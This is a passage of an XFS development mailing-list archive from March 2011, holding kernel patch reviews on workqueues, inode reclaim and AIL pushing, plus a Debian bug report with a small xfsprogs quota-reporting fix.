(8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2HELbNP244433 for ; Thu, 17 Mar 2011 09:21:47 -0500 X-ASG-Debug-ID: 1300371863-26e002a10000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9B42C1EBC014 for ; Thu, 17 Mar 2011 07:24:23 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id eSIQsnn8J3hCiKBS for ; Thu, 17 Mar 2011 07:24:23 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q0E7e-00006I-Ge; Thu, 17 Mar 2011 14:24:18 +0000 Date: Thu, 17 Mar 2011 10:24:18 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , linux-mm@kvack.org, npiggin@kernel.dk, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110317142418.GB32673@infradead.org> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> <20110310224945.GA15097@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310224945.GA15097@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300371873 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 11, 2011 at 09:49:45AM +1100, Dave Chinner wrote: > > IMHO this should be done by vm_map_ram internally. If we can't get the > > core code fixes we can put this in as a last resort. > > OK. The patch was done as part of the triage for this bug: > > https://bugzilla.kernel.org/show_bug.cgi?id=27492 > > where the vmalloc space on 32 bit systems is getting exhausted. I > can easily move this flush-and-retry into the vmap code. Looks like we're not going to make any progress on the VM side for this, so I think we'll need the XFS variant for 2.6.39. Reviewed-by: Christoph Hellwig From debbugs@busoni.debian.org Thu Mar 17 18:36:19 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2HNaDH7001141 for ; Thu, 17 Mar 2011 18:36:18 -0500 X-ASG-Debug-ID: 1300405147-39dc012b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from busoni.debian.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C29AF13C33C8 for ; Thu, 17 Mar 2011 16:39:07 -0700 (PDT) Received: from busoni.debian.org (busoni.debian.org [140.211.15.34]) by cuda.sgi.com with ESMTP id VfxuwJTsyIRSmDEP for ; Thu, 17 Mar 2011 16:39:07 -0700 (PDT) Received: from debbugs by busoni.debian.org with local (Exim 4.69) (envelope-from ) id 1Q0MmX-0007NW-1s; Thu, 17 Mar 2011 23:39:05 +0000 X-Loop: owner@bugs.debian.org X-ASG-Orig-Subj: Bug#618730: xfsprogs: xfs_quota -xc "report -Nt /xfs_test" i.e. cause error "XFS_GETQUOTA: No such process" Subject: Bug#618730: xfsprogs: xfs_quota -xc "report -Nt /xfs_test" i.e. cause error "XFS_GETQUOTA: No such process" Reply-To: Thomas Blomenkamp , 618730@bugs.debian.org Resent-From: Thomas Blomenkamp Resent-To: debian-bugs-dist@lists.debian.org Resent-Cc: XFS Development Team X-Loop: owner@bugs.debian.org Resent-Date: Thu, 17 Mar 2011 23:39:02 +0000 Resent-Message-ID: X-Debian-PR-Message: report 618730 X-Debian-PR-Package: xfsprogs X-Debian-PR-Keywords: patch squeeze X-Debian-PR-Source: xfsprogs Received: via spool by submit@bugs.debian.org id=B.130040502728116 (code B ref -1); Thu, 17 Mar 2011 23:39:02 +0000 Received: (at submit) by bugs.debian.org; 17 Mar 2011 23:37:07 +0000 Received: from mail1.math.uni-bielefeld.de ([129.70.14.32]) by busoni.debian.org with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.69) (envelope-from ) id 1Q0MkX-0007Id-3L for submit@bugs.debian.org; Thu, 17 Mar 2011 23:37:07 +0000 Received: from store1b.math.uni-bielefeld.de (store1b.math.uni-bielefeld.de [129.70.14.42]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail1.math.uni-bielefeld.de (Postfix) with ESMTPSA id AC8CB123726; Fri, 18 Mar 2011 00:30:20 +0100 (CET) Content-Type: multipart/mixed; boundary="===============7436659676756291069==" MIME-Version: 1.0 From: Thomas Blomenkamp To: Debian Bug Tracking System Message-ID: <20110317233011.23073.36060.reportbug@store1b.math.uni-bielefeld.de> X-Mailer: reportbug 4.12.6 Date: Fri, 18 Mar 2011 00:30:11 +0100 X-Greylist: delayed 390 seconds by postgrey-1.31 at busoni; Thu, 17 Mar 2011 23:37:00 UTC Delivered-To: submit@bugs.debian.org Resent-Sender: Debian BTS Resent-Date: Thu, 17 Mar 2011 23:39:05 +0000 X-Barracuda-Connect: busoni.debian.org[140.211.15.34] X-Barracuda-Start-Time: 1300405147 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0593 1.0000 -1.6417 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.64 X-Barracuda-Spam-Status: No, SCORE=-1.64 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58201 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This is a multi-part MIME message sent by reportbug. --===============7436659676756291069== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Package: xfsprogs Version: 3.1.4 Severity: normal Tags: squeeze patch Consider the following situation: A block-device with xfs-filesystem is mounted on /xfs_test and the xfs_quota option is enabled (i.e. by mounting with option uqnoenforce). Then if you use the prog. xfs_quota to get a report of the user quota on /xfs, you get sth. like this: foobar:~#xfs_quota -xc "report -Nt /xfs_test" root 2019836 0 0 00 [--------] XFS_GETQUOTA: No such process XFS_GETQUOTA: No such process XFS_GETQUOTA: No such process XFS_GETQUOTA: No such process XFS_GETQUOTA: No such process I have attached a patch which worked fine for me. I want to thank Eric Sandeen for fixing this bug and refer to http://patchwork.xfs.org/patch/1714/ Regards, Thomas -- System Information: Debian Release: 6.0 APT prefers squeeze-updates APT policy: (500, 'squeeze-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages xfsprogs depends on: ii libblkid1 2.17.2-9 block device id library ii libc6 2.11.2-10 Embedded GNU C Library: Shared lib ii libreadline5 5.2-7 GNU readline and history libraries ii libuuid1 2.17.2-9 Universally Unique ID library xfsprogs recommends no packages. Versions of packages xfsprogs suggests: pn acl (no description available) pn attr (no description available) pn quota (no description available) ii xfsdump 3.0.4 Administrative utilities for the X -- no debconf information --===============7436659676756291069== Content-Type: text/x-diff; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xfsprogs_quota_report_fix.patch" diff -crB xfsprogs-3.1.4/quota/report.c xfsprogs-3.1.4_quota_fix/quota/report.c *** xfsprogs-3.1.4/quota/report.c 2009-04-27 07:48:02.000000000 +0200 --- xfsprogs-3.1.4_quota_fix/quota/report.c 2011-03-17 23:03:06.479607647 +0100 *************** *** 302,308 **** int count; if (xfsquotactl(XFS_GETQUOTA, dev, type, id, (void *)&d) < 0) { ! if (errno != ENOENT && errno != ENOSYS) perror("XFS_GETQUOTA"); return 0; } --- 302,308 ---- int count; if (xfsquotactl(XFS_GETQUOTA, dev, type, id, (void *)&d) < 0) { ! if (errno != ENOENT && errno != ENOSYS && errno != ESRCH) perror("XFS_GETQUOTA"); return 0; } --===============7436659676756291069==-- From david@fromorbit.com Thu Mar 17 22:36:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2I3aVOo010804 for ; Thu, 17 Mar 2011 22:36:37 -0500 X-ASG-Debug-ID: 1300419555-78c002420000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CC62A13C4A27 for ; Thu, 17 Mar 2011 20:39:16 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id hifFOSYmLXMiLBO7 for ; Thu, 17 Mar 2011 20:39:16 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocEAHdwgk15LK5JgWdsb2JhbAClYBUBARYmJcJtDYVWBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2011 14:09:15 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q0QWv-00040f-Bj; Fri, 18 Mar 2011 14:39:13 +1100 Date: Fri, 18 Mar 2011 14:39:13 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Subject: Re: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Message-ID: <20110318033913.GD30195@dastard> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-3-git-send-email-david@fromorbit.com> <20110310173405.GB19609@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310173405.GB19609@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300419567 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC5_MJ3078 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58217 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC5_MJ3078 Custom Rule MJ3078 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 12:34:05PM -0500, Christoph Hellwig wrote: > > - out_sysctl_unregister: > > +out_destroy_xfs_syncd: > > + destroy_workqueue(xfs_syncd_wq); > > +out_sysctl_unregister: > > xfs_sysctl_unregister(); > > - out_cleanup_procfs: > > +out_cleanup_procfs: > > xfs_cleanup_procfs(); > > - out_buf_terminate: > > +out_buf_terminate: > > xfs_buf_terminate(); > > - out_filestream_uninit: > > +out_filestream_uninit: > > xfs_filestream_uninit(); > > - out_mru_cache_uninit: > > +out_mru_cache_uninit: > > xfs_mru_cache_uninit(); > > - out_destroy_zones: > > +out_destroy_zones: > > What's the point of these random formatting changes? > Removed. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 17 22:36:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2I3al3R010819 for ; Thu, 17 Mar 2011 22:36:53 -0500 X-ASG-Debug-ID: 1300419583-03ce02710000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6480710AFF76 for ; Thu, 17 Mar 2011 20:39:43 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZhJD9pyMbMJksBLk for ; Thu, 17 Mar 2011 20:39:43 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocEAHdwgk15LK5JgWdsb2JhbAClYBUBARYmJcJtDYVWBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2011 14:09:42 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q0QXI-00040m-Ee; Fri, 18 Mar 2011 14:39:36 +1100 Date: Fri, 18 Mar 2011 14:39:36 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: Re: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Message-ID: <20110318033936.GE30195@dastard> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-4-git-send-email-david@fromorbit.com> <20110310173549.GC19609@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310173549.GC19609@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300419584 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58218 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 12:35:49PM -0500, Christoph Hellwig wrote: > Looks good, > > Reviewed-by: Christoph Hellwig > > > +STATIC void > > +xfs_flush_worker( > > + struct work_struct *work) > > +{ > > + struct xfs_mount *mp = container_of(work, > > + struct xfs_mount, m_flush_work); > > + > > + xfs_sync_data(mp, SYNC_TRYLOCK); > > + xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); > > + xfs_log_force(mp, XFS_LOG_SYNC); > > No actually new in this patch: but what's the point of the log force > here? xfs_sync_data just did one before returning. Historical, I think. Removed. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 17 22:57:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2I3vDl0011696 for ; Thu, 17 Mar 2011 22:57:18 -0500 X-ASG-Debug-ID: 1300420808-58bf03bf0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DC9CB35F41E for ; Thu, 17 Mar 2011 21:00:09 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id fISve0W2euvQuBkO for ; Thu, 17 Mar 2011 21:00:09 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocEAPtzgk15LK5JgWdsb2JhbAClYBUBARYmJYhNukwNhVYE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2011 14:30:07 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q0Qr8-00043W-U7; Fri, 18 Mar 2011 15:00:06 +1100 Date: Fri, 18 Mar 2011 15:00:06 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: introduce background inode reclaim work Subject: Re: [PATCH 4/6] xfs: introduce background inode reclaim work Message-ID: <20110318040006.GF30195@dastard> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-5-git-send-email-david@fromorbit.com> <20110310174054.GD19609@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310174054.GD19609@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300420809 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58219 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 12:40:54PM -0500, Christoph Hellwig wrote: > Why do we still keep the inode reclaim in the syncer work? If we > already have this one doing it I don't think we need it there as well. Ok. Removed. > > /* > > + * Queue a new inode reclaim pass if there isn't one already in progress. > > + * Wait for completion of the flush if necessary. > > No, it doesn't wait ever. Removed. > > + */ > > +static void > > +xfs_syncd_queue_reclaim( > > + struct xfs_mount *mp) > > +{ > > + queue_delayed_work(xfs_syncd_wq, &mp->m_reclaim_work, > > + xfs_syncd_centisecs / 5 * msecs_to_jiffies(10)); > > What explanation is there for the magic 5? E.g. why do we neeed to run > it exactly 5 times as often as the normal sync work? It doesn't have to be exactly 5x more frequent, just that it needs to run quite a bit more often than the normal sync work. tens times more often seems like overkill and a lot of overhead given the scan reclaim does, while two times more often isn't sufficient to avoid significant build up of dirty reclaimable inodes that need to be written before they can be reclaimed.. > Should it have it's > own tunable? Perhaps. I'm not convinced it is necessary, though. > And isn't ever 6 seconds by default a little often on > systems trying to saver power, especiall if there aren't any inodes to > reclaim? Should we trigger starting this work off having reclaimable > inodes tagged in the radix tree? Yes, probably should. I'll see if I can do that easily. > > + /* first unpin all the dirty and stale inodes. */ > > + xfs_log_force(mp, XFS_LOG_SYNC); > > So we force out the log every 6 seconds. That's a lot more often than > most other filesystem and might have adverse performance impact. I'll remove that and leave it for the sync inode reclaim to force out the log... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 17 23:04:01 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2I43u0w011980 for ; Thu, 17 Mar 2011 23:04:01 -0500 X-ASG-Debug-ID: 1300421211-114e00190000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0A47635F4F0 for ; Thu, 17 Mar 2011 21:06:52 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id wZsjFldK11iTyUGH for ; Thu, 17 Mar 2011 21:06:52 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocEAH93gk15LK5JgWdsb2JhbAClYBUBARYmJcMCDYVWBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2011 14:36:50 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q0Qxc-00044p-TI; Fri, 18 Mar 2011 15:06:48 +1100 Date: Fri, 18 Mar 2011 15:06:48 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Subject: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Message-ID: <20110318040648.GG30195@dastard> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-6-git-send-email-david@fromorbit.com> <20110310174818.GE19609@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310174818.GE19609@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300421213 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58219 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 12:48:18PM -0500, Christoph Hellwig wrote: > > STATIC int __init > > +xfs_init_workqueues(void) > > > +STATIC void __exit > > +xfs_destroy_workqueues(void) > > I don't think these helpers are overly useful. I'm thinking of adding a few more workqueues, so I though I'd split them out like zone initialisation at the outset.... > > > + xfs_ail_wq = alloc_workqueue("xfsail", WQ_CPU_INTENSIVE, 8); > > > +} > > > > +static void > > +xfs_ail_push_queue( > > + struct xfs_ail *ailp, > > + xfs_lsn_t threshold_lsn, > > + int tout) > > +{ > > + if (XFS_LSN_CMP(threshold_lsn, ailp->xa_target) > 0) { > > + ailp->xa_target = threshold_lsn; > > + queue_delayed_work(xfs_syncd_wq, &ailp->xa_work, tout); > > tout is always one in the only caller and thus doesn't need to be > passed. But I think you really want a timeout of 0 here to queue it up > ASAP (it translates to a direct queue_work() call internally). > > Also this function could simply be merged into it's only and relatively > simple caller. It gets used by a second caller in the next patch that uses a timeout of zero. The idea of adding a delay to a normal push is to rate limit the number of times we do work so we always work on batches rather a few items at a time in multiple executions of the work. I'll see if it's simpler to just do this work directly in teh callers, though. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 17 23:04:43 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2I44cOv012021 for ; Thu, 17 Mar 2011 23:04:43 -0500 X-ASG-Debug-ID: 1300421253-1d6b024e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D580710EE80D for ; Thu, 17 Mar 2011 21:07:34 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id XvcBfyTftIl9Xzgy for ; Thu, 17 Mar 2011 21:07:34 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AocEAH93gk15LK5JgWdsb2JhbAClYBUBARYmJcMCDYVWBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2011 14:37:33 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q0QyK-00044x-Fq; Fri, 18 Mar 2011 15:07:32 +1100 Date: Fri, 18 Mar 2011 15:07:22 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Subject: Re: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Message-ID: <20110318040722.GH30195@dastard> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-7-git-send-email-david@fromorbit.com> <20110310213144.GA9371@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310213144.GA9371@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300421254 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58220 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 04:31:44PM -0500, Christoph Hellwig wrote: > > -STATIC void xfs_ail_splice(struct xfs_ail *, struct list_head *, xfs_lsn_t); > > -STATIC void xfs_ail_delete(struct xfs_ail *, xfs_log_item_t *); > > -STATIC xfs_log_item_t * xfs_ail_min(struct xfs_ail *); > > -STATIC xfs_log_item_t * xfs_ail_next(struct xfs_ail *, xfs_log_item_t *); > > - > > Reordering and cleanup of unrelated existing functions should be in a > separate patch. OK. > > > @@ -55,16 +93,32 @@ xfs_lsn_t > > xfs_trans_ail_tail( > > struct xfs_ail *ailp) > > { > > - xfs_lsn_t lsn; > > + xfs_lsn_t lsn = 0; > > xfs_log_item_t *lip; > > > > spin_lock(&ailp->xa_lock); > > lip = xfs_ail_min(ailp); > > - if (lip == NULL) { > > - lsn = (xfs_lsn_t)0; > > - } else { > > + if (lip) > > + lsn = lip->li_lsn; > > + spin_unlock(&ailp->xa_lock); > > + > > + return lsn; > > +} > > + > > +/* > > + * Return the maximum lsn held in the AIL, or zero if the AIl is empty. > > + */ > > +static xfs_lsn_t > > +xfs_ail_max_lsn( > > + struct xfs_ail *ailp) > > +{ > > + xfs_lsn_t lsn = 0; > > + xfs_log_item_t *lip; > > + > > + spin_lock(&ailp->xa_lock); > > + lip = xfs_ail_max(ailp); > > + if (lip) > > As this is the counterpart to xfs_trans_ail_tail the naming for both > should be similar. I much prefer the descriptive _lsn naming over the > random trans in xfs_trans_ail_tail. Ok, will change. Cheers, Dave. -- Dave Chinner david@fromorbit.com From hannes@cmpxchg.org Fri Mar 18 09:21:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IELgRR038911 for ; Fri, 18 Mar 2011 09:21:47 -0500 X-ASG-Debug-ID: 1300458266-4ffc033a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zene.cmpxchg.org 